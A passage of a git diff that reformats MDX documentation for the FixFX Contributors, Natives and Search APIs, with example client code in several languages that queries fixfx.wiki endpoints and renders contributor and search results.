QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - The Contributors API provides access to GitHub contributor information for the CodeMeAPixel organization. Built with Go and Fiber, it fetches real-time data from GitHub and caches it for optimal performance. + The Contributors API provides access to GitHub contributor information for the + CodeMeAPixel organization. Built with Go and Fiber, it fetches real-time data + from GitHub and caches it for optimal performance. ## Overview @@ -41,11 +59,11 @@ Retrieves contributor information for the CodeMeAPixel organization repositories #### Query Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `repo` | string | Filter by specific repository name | All repositories | -| `limit` | number | Maximum number of contributors | `50` | -| `sort` | string | Sort by (`contributions`, `name`, `recent`) | `contributions` | +| Parameter | Type | Description | Default | +| --------- | ------ | ------------------------------------------- | ---------------- | +| `repo` | string | Filter by specific repository name | All repositories | +| `limit` | number | Maximum number of contributors | `50` | +| `sort` | string | Sort by (`contributions`, `name`, `recent`) | `contributions` | #### Response Format @@ -69,6 +87,7 @@ Retrieves contributor information for the CodeMeAPixel organization repositories } } ``` + | `order` | string | Sort order (`asc` or `desc`) | `desc` | | `minContributions` | number | Minimum contribution count | 1 | | `since` | string | Include only contributions since date (ISO format) | No limit | @@ -125,7 +144,7 @@ Retrieves contributor information for the CodeMeAPixel organization repositories ```javascript // Get top contributors const response = await fetch( - 'https://fixfx.wiki/api/contributors?limit=10&includeStats=true' + "https://fixfx.wiki/api/contributors?limit=10&includeStats=true", ); const data = await response.json(); @@ -138,18 +157,22 @@ data.data.forEach((contributor, index) => { console.log(` Contributions: ${contributor.contributions}`); console.log(` Repositories: ${contributor.repositories.length}`); console.log(` GitHub: ${contributor.html_url}`); - + if (contributor.contribution_types) { console.log(` Commits: ${contributor.contribution_types.commits}`); console.log(` Issues: ${contributor.contribution_types.issues}`); - console.log(` Pull Requests: ${contributor.contribution_types.pull_requests}`); + console.log( + ` Pull Requests: ${contributor.contribution_types.pull_requests}`, + ); } }); // Show repository stats -console.log('\nTop Repositories:'); -data.metadata.stats.top_repositories.forEach(repo => { - console.log(`- ${repo.name}: ${repo.contributors} contributors, ${repo.contributions} contributions`); +console.log("\nTop Repositories:"); +data.metadata.stats.top_repositories.forEach((repo) => { + console.log( + `- ${repo.name}: ${repo.contributors} contributors, ${repo.contributions} contributions`, + ); }); ``` @@ -163,26 +186,26 @@ local function getRepositoryContributors(repoName) "https://fixfx.wiki/api/contributors?repo=%s&includeStats=true", repoName ) - + PerformHttpRequest(url, function(error, resultData, resultCode) if error ~= 200 then print("Error fetching contributors:", error) return end - + local data = json.decode(resultData) - + print("Repository: " .. repoName) print("Contributors: " .. data.metadata.total_contributors) print("Total Contributions: " .. data.metadata.total_contributions) print("") - + -- Display top contributors for i, contributor in ipairs(data.data) do print(i .. ". " .. contributor.login) print(" Contributions: " .. contributor.contributions) print(" GitHub: " .. contributor.html_url) - + if contributor.first_contribution then print(" First Contribution: " .. contributor.first_contribution) end @@ -208,12 +231,12 @@ using System.Text.Json; public class ContributorsClient { private readonly HttpClient _client; - + public ContributorsClient() { _client = new HttpClient(); } - + public async Task GetContributors(string repo = null, int limit = 50, bool includeStats = false) { var url = $"https://fixfx.wiki/api/contributors?limit={limit}&includeStats={includeStats}"; @@ -221,10 +244,10 @@ public class ContributorsClient { url += $"&repo={repo}"; } - + var response = await _client.GetAsync(url); response.EnsureSuccessStatusCode(); - + var content = await response.Content.ReadAsStringAsync(); return JsonSerializer.Deserialize(content); } @@ -243,7 +266,7 @@ foreach (var (contributor, index) in contributors.Data.Select((c, i) => (c, i))) Console.WriteLine($" Contributions: {contributor.Contributions}"); Console.WriteLine($" Repositories: {contributor.Repositories.Count}"); Console.WriteLine($" GitHub: {contributor.HtmlUrl}"); - + if (contributor.ContributionTypes != null) { Console.WriteLine($" Commits: {contributor.ContributionTypes.Commits}"); @@ -274,22 +297,22 @@ foreach (var repo in contributors.Metadata.Stats.TopRepositories) // Build a community contributors widget async function buildContributorsWidget() { const response = await fetch( - 'https://fixfx.wiki/api/contributors?limit=20&includeStats=true&sort=contributions' + "https://fixfx.wiki/api/contributors?limit=20&includeStats=true&sort=contributions", ); const data = await response.json(); - + // Create widget HTML - const widget = document.createElement('div'); - widget.className = 'contributors-widget'; - + const widget = document.createElement("div"); + widget.className = "contributors-widget"; + // Add header - const header = document.createElement('h3'); + const header = document.createElement("h3"); header.textContent = `Our ${data.metadata.total_contributors} Contributors`; widget.appendChild(header); - + // Add stats - const stats = document.createElement('div'); - stats.className = 'contributor-stats'; + const stats = document.createElement("div"); + stats.className = "contributor-stats"; stats.innerHTML = `
${data.metadata.total_contributions} @@ -305,14 +328,14 @@ async function buildContributorsWidget() {
`; widget.appendChild(stats); - + // Add contributor grid - const grid = document.createElement('div'); - grid.className = 'contributors-grid'; - - data.data.slice(0, 12).forEach(contributor => { - const item = document.createElement('div'); - item.className = 'contributor-item'; + const grid = document.createElement("div"); + grid.className = "contributors-grid"; + + data.data.slice(0, 12).forEach((contributor) => { + const item = document.createElement("div"); + item.className = "contributor-item"; item.innerHTML = ` ${contributor.login}
@@ -323,14 +346,14 @@ async function buildContributorsWidget() { `; grid.appendChild(item); }); - + widget.appendChild(grid); return widget; } // Use the widget -buildContributorsWidget().then(widget => { - document.getElementById('contributors-section').appendChild(widget); +buildContributorsWidget().then((widget) => { + document.getElementById("contributors-section").appendChild(widget); }); ``` @@ -340,90 +363,90 @@ buildContributorsWidget().then(widget => { ```html - + Contributors Dashboard - - + +
- + - + ``` @@ -438,45 +461,50 @@ buildContributorsWidget().then(widget => { ```javascript // Analyze repository activity async function analyzeRepositoryActivity() { - const repositories = ['FixFX', 'fivem-boilerplate', 'redm-resources']; + const repositories = ["FixFX", "fivem-boilerplate", "redm-resources"]; const results = {}; - + for (const repo of repositories) { const response = await fetch( - `https://fixfx.wiki/api/contributors?repo=${repo}&includeStats=true` + `https://fixfx.wiki/api/contributors?repo=${repo}&includeStats=true`, ); const data = await response.json(); - + results[repo] = { contributors: data.metadata.total_contributors, contributions: data.metadata.total_contributions, topContributor: data.data[0], activity: { active: data.metadata.stats.active_contributors, - new: data.metadata.stats.new_contributors - } + new: data.metadata.stats.new_contributors, + }, }; } - + // Generate report - console.log('Repository Activity Report'); - console.log('=========================='); - + console.log("Repository Activity Report"); + console.log("=========================="); + Object.entries(results).forEach(([repo, stats]) => { console.log(`\n${repo}:`); console.log(` Contributors: ${stats.contributors}`); console.log(` Contributions: ${stats.contributions}`); - console.log(` Top Contributor: ${stats.topContributor.login} (${stats.topContributor.contributions} contributions)`); + console.log( + ` Top Contributor: ${stats.topContributor.login} (${stats.topContributor.contributions} contributions)`, + ); console.log(` Active Contributors: ${stats.activity.active}`); console.log(` New Contributors: ${stats.activity.new}`); }); - + // Find most active repository - const mostActive = Object.entries(results) - .reduce((a, b) => results[a[0]].contributions > results[b[0]].contributions ? a : b); - - console.log(`\nMost Active Repository: ${mostActive[0]} (${mostActive[1].contributions} contributions)`); - + const mostActive = Object.entries(results).reduce((a, b) => + results[a[0]].contributions > results[b[0]].contributions ? a : b, + ); + + console.log( + `\nMost Active Repository: ${mostActive[0]} (${mostActive[1].contributions} contributions)`, + ); + return results; } @@ -494,56 +522,56 @@ from datetime import datetime def analyze_contributor_trends(): """Analyze contributor trends across repositories""" - + base_url = "https://fixfx.wiki/api/contributors" repositories = ['FixFX', 'fivem-boilerplate', 'redm-resources'] - + all_data = {} - + for repo in repositories: response = requests.get(f"{base_url}?repo={repo}&includeStats=true") - + if response.status_code == 200: data = response.json() all_data[repo] = data else: print(f"Error fetching data for {repo}: {response.status_code}") - + # Analyze trends print("Contributor Trends Analysis") print("=" * 50) - + for repo, data in all_data.items(): contributors = data['data'] metadata = data['metadata'] - + print(f"\n{repo}:") print(f" Total Contributors: {metadata['total_contributors']}") print(f" Total Contributions: {metadata['total_contributions']}") - + # Calculate contribution distribution contributions = [c['contributions'] for c in contributors] avg_contributions = sum(contributions) / len(contributions) if contributions else 0 - + print(f" Average Contributions per Contributor: {avg_contributions:.1f}") - + # Find top contributors top_3 = contributors[:3] print(f" Top 3 Contributors:") for i, contributor in enumerate(top_3, 1): print(f" {i}. {contributor['login']}: {contributor['contributions']} contributions") - + # Analyze contribution types if available if contributors and 'contribution_types' in contributors[0]: total_commits = sum(c.get('contribution_types', {}).get('commits', 0) for c in contributors) total_issues = sum(c.get('contribution_types', {}).get('issues', 0) for c in contributors) total_prs = sum(c.get('contribution_types', {}).get('pull_requests', 0) for c in contributors) - + print(f" Contribution Breakdown:") print(f" Commits: {total_commits}") print(f" Issues: {total_issues}") print(f" Pull Requests: {total_prs}") - + return all_data # Run analysis @@ -562,58 +590,68 @@ analyze_contributor_trends() // Generate contributor recognition badges async function generateContributorBadges() { const response = await fetch( - 'https://fixfx.wiki/api/contributors?includeStats=true&limit=100' + "https://fixfx.wiki/api/contributors?includeStats=true&limit=100", ); const data = await response.json(); - + const badges = { topContributor: null, mostActive: null, newcomer: null, - allRounder: null + allRounder: null, }; - + // Top Contributor (most contributions overall) badges.topContributor = data.data[0]; - + // Most Active (most recent activity) badges.mostActive = data.data - .filter(c => c.last_contribution) - .sort((a, b) => new Date(b.last_contribution) - new Date(a.last_contribution))[0]; - + .filter((c) => c.last_contribution) + .sort( + (a, b) => new Date(b.last_contribution) - new Date(a.last_contribution), + )[0]; + // Newcomer (recent first contribution) badges.newcomer = data.data - .filter(c => c.first_contribution) - .sort((a, b) => new Date(b.first_contribution) - new Date(a.first_contribution))[0]; - + .filter((c) => c.first_contribution) + .sort( + (a, b) => new Date(b.first_contribution) - new Date(a.first_contribution), + )[0]; + // All-Rounder (balanced contribution types) badges.allRounder = data.data - .filter(c => c.contribution_types) - .map(c => ({ + .filter((c) => c.contribution_types) + .map((c) => ({ ...c, - diversity: Object.keys(c.contribution_types).filter(key => c.contribution_types[key] > 0).length + diversity: Object.keys(c.contribution_types).filter( + (key) => c.contribution_types[key] > 0, + ).length, })) .sort((a, b) => b.diversity - a.diversity)[0]; - - console.log('Contributor Recognition Badges'); - console.log('=============================='); - + + console.log("Contributor Recognition Badges"); + console.log("=============================="); + Object.entries(badges).forEach(([badge, contributor]) => { if (contributor) { - console.log(`\n🏆 ${badge.replace(/([A-Z])/g, ' $1').replace(/^./, str => str.toUpperCase())}:`); - console.log(` ${contributor.login} (${contributor.contributions} contributions)`); + console.log( + `\n🏆 ${badge.replace(/([A-Z])/g, " $1").replace(/^./, (str) => str.toUpperCase())}:`, + ); + console.log( + ` ${contributor.login} (${contributor.contributions} contributions)`, + ); console.log(` GitHub: ${contributor.html_url}`); - + if (contributor.contribution_types) { const types = Object.entries(contributor.contribution_types) .filter(([, count]) => count > 0) .map(([type, count]) => `${type}: ${count}`) - .join(', '); + .join(", "); console.log(` Types: ${types}`); } } }); - + return badges; } @@ -648,6 +686,7 @@ Standard HTTP status codes: - `503`: Service Unavailable - GitHub API issues Example error response: + ```json { "error": "Repository not found", @@ -688,9 +727,11 @@ For questions about the Contributors API, please [join our Discord](/discord). W - Recognition programs - The Contributors API helps build community engagement by recognizing valuable contributions across our projects. + The Contributors API helps build community engagement by recognizing valuable + contributions across our projects. - Contribution data is sourced from public GitHub activity and may not reflect all forms of contribution to our projects. + Contribution data is sourced from public GitHub activity and may not reflect + all forms of contribution to our projects. diff --git a/content/docs/core/api/meta.json b/content/docs/core/api/meta.json index a5e56c1..15fbf66 100644 --- a/content/docs/core/api/meta.json +++ b/content/docs/core/api/meta.json @@ -1,10 +1,4 @@ { - "title": "API References", - "pages": [ - "artifacts", - "natives", - "contributors", - "search", - "chat" - ] -} \ No newline at end of file + "title": "API References", + "pages": ["artifacts", "natives", "contributors", "search", "chat"] +} diff --git a/content/docs/core/api/natives.mdx b/content/docs/core/api/natives.mdx index 4510c75..34f1ec0 100644 --- a/content/docs/core/api/natives.mdx +++ b/content/docs/core/api/natives.mdx @@ -4,11 +4,29 @@ description: Access FiveM and RedM native functions and documentation. icon: "Code" --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - The Natives API provides high-performance access to FiveM and RedM native functions. Built with Go and Fiber, it fetches from multiple sources (GTA5, RDR3, CitizenFX) and provides comprehensive search and filtering capabilities. + The Natives API provides high-performance access to FiveM and RedM native + functions. Built with Go and Fiber, it fetches from multiple sources (GTA5, + RDR3, CitizenFX) and provides comprehensive search and filtering capabilities. ## Overview @@ -40,17 +58,17 @@ Retrieves native function information with comprehensive filtering and paginatio #### Query Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `game` | string | Target game (`gta5`, `rdr3`, `cfx`) | All games | -| `search` | string | Search query for native names or descriptions | No search | -| `ns` | string | Filter by namespace (e.g., `PLAYER`, `VEHICLE`) | All namespaces | -| `environment` | string | Filter by environment (`client`, `server`, `shared`) | All environments | -| `cfx` | boolean | Include CitizenFX-specific natives | `false` | -| `limit` | number | Results per page (max 100) | `20` | -| `offset` | number | Pagination offset | `0` | -| `sortBy` | string | Sort field (`name`, `namespace`) | `name` | -| `sortOrder` | string | Sort direction (`asc` or `desc`) | `asc` | +| Parameter | Type | Description | Default | +| ------------- | ------- | ---------------------------------------------------- | ---------------- | +| `game` | string | Target game (`gta5`, `rdr3`, `cfx`) | All games | +| `search` | string | Search query for native names or descriptions | No search | +| `ns` | string | Filter by namespace (e.g., `PLAYER`, `VEHICLE`) | All namespaces | +| `environment` | string | Filter by environment (`client`, `server`, `shared`) | All environments | +| `cfx` | boolean | Include CitizenFX-specific natives | `false` | +| `limit` | number | Results per page (max 100) | `20` | +| `offset` | number | Pagination offset | `0` | +| `sortBy` | string | Sort field (`name`, `namespace`) | `name` | +| `sortOrder` | string | Sort direction (`asc` or `desc`) | `asc` | #### Response Format @@ -100,12 +118,12 @@ Full-text search across all native functions with relevance scoring. #### Query Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `q` | string | Search query | Required | -| `game` | string | Filter by game (`gta5`, `rdr3`, `cfx`) | All games | -| `limit` | number | Results per page | `20` | -| `offset` | number | Pagination offset | `0` | +| Parameter | Type | Description | Default | +| --------- | ------ | -------------------------------------- | --------- | +| `q` | string | Search query | Required | +| `game` | string | Filter by game (`gta5`, `rdr3`, `cfx`) | All games | +| `limit` | number | Results per page | `20` | +| `offset` | number | Pagination offset | `0` | #### Response Format @@ -115,7 +133,7 @@ Full-text search across all native functions with relevance scoring. { "name": "GET_ENTITY_HEALTH", "hash": "0xebd235cf", - "relevance": 0.95, + "relevance": 0.95 // ... full native object } ], @@ -139,7 +157,7 @@ Get a specific native by its hash value. "data": [ { "name": "GET_ENTITY_HEALTH", - "hash": "0xebd235cf", + "hash": "0xebd235cf" // ... full native object } ], @@ -179,7 +197,9 @@ Get statistics about the natives database. ### Search for natives by name ```javascript -const response = await fetch('https://core.fixfx.wiki/api/natives/search?q=player'); +const response = await fetch( + "https://core.fixfx.wiki/api/natives/search?q=player", +); const data = await response.json(); console.log(`Found ${data.metadata.total} natives matching 'player'`); ``` @@ -187,9 +207,11 @@ console.log(`Found ${data.metadata.total} natives matching 'player'`); ### Get natives for specific namespace ```javascript -const response = await fetch('https://core.fixfx.wiki/api/natives?ns=PLAYER&game=gta5&limit=20'); +const response = await fetch( + "https://core.fixfx.wiki/api/natives?ns=PLAYER&game=gta5&limit=20", +); const data = await response.json(); -data.data.forEach(native => { +data.data.forEach((native) => { console.log(`${native.name} - ${native.description}`); }); ``` @@ -197,7 +219,9 @@ data.data.forEach(native => { ### Filter by environment ```javascript -const response = await fetch('https://core.fixfx.wiki/api/natives?environment=client&limit=50'); +const response = await fetch( + "https://core.fixfx.wiki/api/natives?environment=client&limit=50", +); const data = await response.json(); console.log(`Retrieved ${data.data.length} client-side natives`); ``` @@ -222,17 +246,21 @@ For questions about the Natives API, please [join our Discord](/discord). Our co - Implementation guidance - The Natives API is continuously updated with new native discoveries and improved documentation. + The Natives API is continuously updated with new native discoveries and + improved documentation. - Always verify native compatibility with your target FiveM/RedM version before implementation. + Always verify native compatibility with your target FiveM/RedM version before + implementation. - The Natives API is continuously updated with new native discoveries and improved documentation. + The Natives API is continuously updated with new native discoveries and + improved documentation. - Always verify native compatibility with your target FiveM/RedM version before implementation. + Always verify native compatibility with your target FiveM/RedM version before + implementation. diff --git a/content/docs/core/api/search.mdx b/content/docs/core/api/search.mdx index 117beaa..d1a1332 100644 --- a/content/docs/core/api/search.mdx +++ b/content/docs/core/api/search.mdx @@ -4,11 +4,29 @@ description: Search documentation and content across the FixFX platform. icon: "Search" --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - The Search API provides powerful search capabilities across all FixFX documentation, guides, and content. Built on Fumadocs search infrastructure, it offers fast, relevant results with advanced filtering and ranking. + The Search API provides powerful search capabilities across all FixFX + documentation, guides, and content. Built on Fumadocs search infrastructure, + it offers fast, relevant results with advanced filtering and ranking. ## Overview @@ -22,6 +40,7 @@ The Search API enables comprehensive search functionality across the FixFX platf - **Troubleshooting** - Find solutions to common problems The search system provides: + - Real-time search suggestions - Relevance-based ranking - Category and section filtering @@ -46,16 +65,16 @@ Performs a search query across all indexed content. #### Query Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `q` | string | Search query string | Required | -| `limit` | number | Maximum number of results (max 100) | 20 | -| `offset` | number | Number of results to skip | 0 | -| `category` | string | Filter by content category | All categories | -| `section` | string | Filter by documentation section | All sections | -| `type` | string | Filter by content type (`page`, `heading`, `text`) | All types | -| `highlight` | boolean | Include search term highlighting | true | -| `suggest` | boolean | Include search suggestions | false | +| Parameter | Type | Description | Default | +| ----------- | ------- | -------------------------------------------------- | -------------- | +| `q` | string | Search query string | Required | +| `limit` | number | Maximum number of results (max 100) | 20 | +| `offset` | number | Number of results to skip | 0 | +| `category` | string | Filter by content category | All categories | +| `section` | string | Filter by documentation section | All sections | +| `type` | string | Filter by content type (`page`, `heading`, `text`) | All types | +| `highlight` | boolean | Include search term highlighting | true | +| `suggest` | boolean | Include search suggestions | false | #### Response Format @@ -120,7 +139,7 @@ Performs a search query across all indexed content. ```javascript // Basic search query const response = await fetch( - 'https://fixfx.wiki/api/search?q=player management&limit=10&highlight=true' + "https://fixfx.wiki/api/search?q=player management&limit=10&highlight=true", ); const data = await response.json(); @@ -132,27 +151,28 @@ data.data.forEach((result, index) => { console.log(` URL: ${result.url}`); console.log(` Category: ${result.category}`); console.log(` Score: ${result.score}`); - + // Show highlights if (result.highlights && result.highlights.length > 0) { - console.log(' Highlights:'); - result.highlights.forEach(highlight => { + console.log(" Highlights:"); + result.highlights.forEach((highlight) => { console.log(` ${highlight.field}: "${highlight.matched}"`); }); } - + // Show content excerpt - const excerpt = result.content.length > 150 - ? result.content.substring(0, 150) + '...' - : result.content; + const excerpt = + result.content.length > 150 + ? result.content.substring(0, 150) + "..." + : result.content; console.log(` ${excerpt}`); - console.log(''); + console.log(""); }); // Show suggestions if available if (data.metadata.suggestions && data.metadata.suggestions.length > 0) { - console.log('Suggestions:'); - data.metadata.suggestions.forEach(suggestion => { + console.log("Suggestions:"); + data.metadata.suggestions.forEach((suggestion) => { console.log(`- ${suggestion}`); }); } @@ -168,26 +188,26 @@ local function searchDocumentation(query, category) "https://fixfx.wiki/api/search?q=%s&category=%s&highlight=true", query, category or "" ) - + PerformHttpRequest(url, function(error, resultData, resultCode) if error ~= 200 then print("Search error:", error) return end - + local data = json.decode(resultData) - + print("Search Results for '" .. query .. "'") print("Found " .. data.metadata.total .. " results in " .. data.metadata.took .. "ms") print("") - + -- Display results for i, result in ipairs(data.data) do print(i .. ". " .. result.title) print(" URL: " .. result.url) print(" Category: " .. result.category) print(" Score: " .. result.score) - + -- Show highlights if result.highlights and #result.highlights > 0 then print(" Highlights:") @@ -195,15 +215,15 @@ local function searchDocumentation(query, category) print(" " .. highlight.field .. ": \"" .. highlight.matched .. "\"") end end - + -- Show content excerpt - local excerpt = string.len(result.content) > 150 + local excerpt = string.len(result.content) > 150 and string.sub(result.content, 1, 150) .. "..." or result.content print(" " .. excerpt) print("") end - + -- Show category breakdown print("Results by category:") for category, count in pairs(data.metadata.categories) do @@ -229,28 +249,28 @@ using System.Web; public class SearchClient { private readonly HttpClient _client; - + public SearchClient() { _client = new HttpClient(); } - + public async Task Search(string query, string category = null, int limit = 20, bool highlight = true) { var queryParams = HttpUtility.ParseQueryString(string.Empty); queryParams["q"] = query; queryParams["limit"] = limit.ToString(); queryParams["highlight"] = highlight.ToString().ToLower(); - + if (!string.IsNullOrEmpty(category)) { queryParams["category"] = category; } - + var url = $"https://fixfx.wiki/api/search?{queryParams}"; var response = await _client.GetAsync(url); response.EnsureSuccessStatusCode(); - + var content = await response.Content.ReadAsStringAsync(); return JsonSerializer.Deserialize(content); } @@ -268,7 +288,7 @@ foreach (var (result, index) in results.Data.Select((r, i) => (r, i))) Console.WriteLine($" URL: {result.Url}"); Console.WriteLine($" Category: {result.Category}"); Console.WriteLine($" Score: {result.Score}"); - + // Show highlights if (result.Highlights?.Any() == true) { @@ -278,9 +298,9 @@ foreach (var (result, index) in results.Data.Select((r, i) => (r, i))) Console.WriteLine($" {highlight.Field}: \"{highlight.Matched}\""); } } - + // Show content excerpt - var excerpt = result.Content.Length > 150 + var excerpt = result.Content.Length > 150 ? result.Content.Substring(0, 150) + "..." : result.Content; Console.WriteLine($" {excerpt}"); @@ -314,10 +334,10 @@ class SmartSearch { constructor(container) { this.container = container; this.debounceTimer = null; - this.currentQuery = ''; + this.currentQuery = ""; this.setupInterface(); } - + setupInterface() { this.container.innerHTML = ` `; - - const input = this.container.querySelector('#search-input'); - input.addEventListener('input', (e) => this.handleInput(e.target.value)); + + const input = this.container.querySelector("#search-input"); + input.addEventListener("input", (e) => this.handleInput(e.target.value)); } - + handleInput(query) { clearTimeout(this.debounceTimer); this.currentQuery = query; - + if (query.length < 2) { this.clearResults(); return; } - + this.debounceTimer = setTimeout(() => { this.performSearch(query); }, 300); } - + async performSearch(query) { try { // Get suggestions first const suggestResponse = await fetch( - `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&suggest=true&limit=5` + `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&suggest=true&limit=5`, ); const suggestData = await suggestResponse.json(); - + // Then get full results const response = await fetch( - `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&highlight=true&limit=20` + `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&highlight=true&limit=20`, ); const data = await response.json(); - + this.displaySuggestions(suggestData.metadata.suggestions || []); this.displayResults(data); } catch (error) { - console.error('Search error:', error); + console.error("Search error:", error); } } - + displaySuggestions(suggestions) { - const suggestionsEl = this.container.querySelector('#suggestions'); - + const suggestionsEl = this.container.querySelector("#suggestions"); + if (suggestions.length === 0) { - suggestionsEl.style.display = 'none'; + suggestionsEl.style.display = "none"; return; } - + suggestionsEl.innerHTML = suggestions - .map(suggestion => `
${suggestion}
`) - .join(''); - suggestionsEl.style.display = 'block'; + .map( + (suggestion) => + `
${suggestion}
`, + ) + .join(""); + suggestionsEl.style.display = "block"; } - + displayResults(data) { - const resultsEl = this.container.querySelector('#results'); - + const resultsEl = this.container.querySelector("#results"); + if (data.data.length === 0) { resultsEl.innerHTML = '
No results found
'; return; } - + const categoryFilter = this.buildCategoryFilter(data.metadata.categories); - const resultsList = data.data.map(result => this.buildResultItem(result)).join(''); - + const resultsList = data.data + .map((result) => this.buildResultItem(result)) + .join(""); + resultsEl.innerHTML = `
Found ${data.metadata.total} results in ${data.metadata.took}ms @@ -399,21 +424,26 @@ class SmartSearch {
${resultsList}
`; } - + buildCategoryFilter(categories) { const filters = Object.entries(categories) .filter(([, count]) => count > 0) - .map(([category, count]) => `${category} (${count})`) - .join(''); - + .map( + ([category, count]) => + `${category} (${count})`, + ) + .join(""); + return `
${filters}
`; } - + buildResultItem(result) { const highlights = result.highlights - ? result.highlights.map(h => `${h.matched}`).join(', ') - : ''; - + ? result.highlights + .map((h) => `${h.matched}`) + .join(", ") + : ""; + return `

${result.title}

@@ -422,19 +452,19 @@ class SmartSearch { Score: ${result.score.toFixed(2)}

${result.content.substring(0, 200)}...

- ${highlights ? `
Matches: ${highlights}
` : ''} + ${highlights ? `
Matches: ${highlights}
` : ""}
`; } - + clearResults() { - this.container.querySelector('#suggestions').style.display = 'none'; - this.container.querySelector('#results').innerHTML = ''; + this.container.querySelector("#suggestions").style.display = "none"; + this.container.querySelector("#results").innerHTML = ""; } } // Initialize search -const searchContainer = document.getElementById('search-container'); +const searchContainer = document.getElementById("search-container"); const smartSearch = new SmartSearch(searchContainer); ``` @@ -444,152 +474,152 @@ const smartSearch = new SmartSearch(searchContainer); ```html - + Smart Search Interface - - + +
- + - + ``` @@ -606,31 +636,32 @@ const smartSearch = new SmartSearch(searchContainer); async function discoverRelatedContent(currentPage) { // Extract key terms from current page const keyTerms = extractKeyTerms(currentPage); - + const relatedContent = []; - + for (const term of keyTerms.slice(0, 3)) { const response = await fetch( - `https://fixfx.wiki/api/search?q=${encodeURIComponent(term)}&limit=5` + `https://fixfx.wiki/api/search?q=${encodeURIComponent(term)}&limit=5`, ); const data = await response.json(); - + // Filter out current page and add to related content const related = data.data - .filter(item => item.url !== currentPage.url) + .filter((item) => item.url !== currentPage.url) .slice(0, 2); - + relatedContent.push(...related); } - + // Remove duplicates and sort by relevance const uniqueContent = relatedContent - .filter((item, index, self) => - index === self.findIndex(t => t.url === item.url) + .filter( + (item, index, self) => + index === self.findIndex((t) => t.url === item.url), ) .sort((a, b) => b.score - a.score) .slice(0, 6); - + return uniqueContent; } @@ -638,16 +669,16 @@ function extractKeyTerms(page) { // Simple keyword extraction from title and content const text = `${page.title} ${page.content}`.toLowerCase(); const words = text.match(/\b\w{4,}\b/g) || []; - + // Count word frequency const frequency = {}; - words.forEach(word => { + words.forEach((word) => { frequency[word] = (frequency[word] || 0) + 1; }); - + // Return top terms return Object.entries(frequency) - .sort(([,a], [,b]) => b - a) + .sort(([, a], [, b]) => b - a) .slice(0, 10) .map(([word]) => word); } @@ -656,11 +687,11 @@ function extractKeyTerms(page) { const currentPage = { title: "ESX Player Management", content: "Learn how to manage players in ESX framework...", - url: "/docs/frameworks/esx/player-management" + url: "/docs/frameworks/esx/player-management", }; -discoverRelatedContent(currentPage).then(related => { - console.log('Related Content:', related); +discoverRelatedContent(currentPage).then((related) => { + console.log("Related Content:", related); }); ``` @@ -680,7 +711,7 @@ class SearchAnalytics { this.popularQueries = new Map(); this.categoryPreferences = new Map(); } - + trackSearch(query, results, category = null) { const searchEvent = { query, @@ -688,99 +719,103 @@ class SearchAnalytics { resultCount: results.metadata.total, searchTime: results.metadata.took, category, - topResult: results.data[0]?.url || null + topResult: results.data[0]?.url || null, }; - + this.searchHistory.push(searchEvent); - + // Update popular queries const count = this.popularQueries.get(query) || 0; this.popularQueries.set(query, count + 1); - + // Update category preferences if (category) { const catCount = this.categoryPreferences.get(category) || 0; this.categoryPreferences.set(category, catCount + 1); } - + // Limit history size if (this.searchHistory.length > 1000) { this.searchHistory = this.searchHistory.slice(-500); } } - + getPopularQueries(limit = 10) { return Array.from(this.popularQueries.entries()) - .sort(([,a], [,b]) => b - a) + .sort(([, a], [, b]) => b - a) .slice(0, limit) .map(([query, count]) => ({ query, count })); } - + getCategoryPreferences() { - const total = Array.from(this.categoryPreferences.values()) - .reduce((sum, count) => sum + count, 0); - + const total = Array.from(this.categoryPreferences.values()).reduce( + (sum, count) => sum + count, + 0, + ); + return Array.from(this.categoryPreferences.entries()) .map(([category, count]) => ({ category, count, - percentage: (count / total * 100).toFixed(1) + percentage: ((count / total) * 100).toFixed(1), })) .sort((a, b) => b.count - a.count); } - + getSearchTrends(days = 7) { const cutoff = new Date(); cutoff.setDate(cutoff.getDate() - days); - + const recentSearches = this.searchHistory.filter( - search => new Date(search.timestamp) > cutoff + (search) => new Date(search.timestamp) > cutoff, ); - + // Group by day const trends = {}; - recentSearches.forEach(search => { - const day = search.timestamp.split('T')[0]; + recentSearches.forEach((search) => { + const day = search.timestamp.split("T")[0]; trends[day] = (trends[day] || 0) + 1; }); - + return Object.entries(trends) .sort(([a], [b]) => a.localeCompare(b)) .map(([date, count]) => ({ date, count })); } - + generateReport() { const popularQueries = 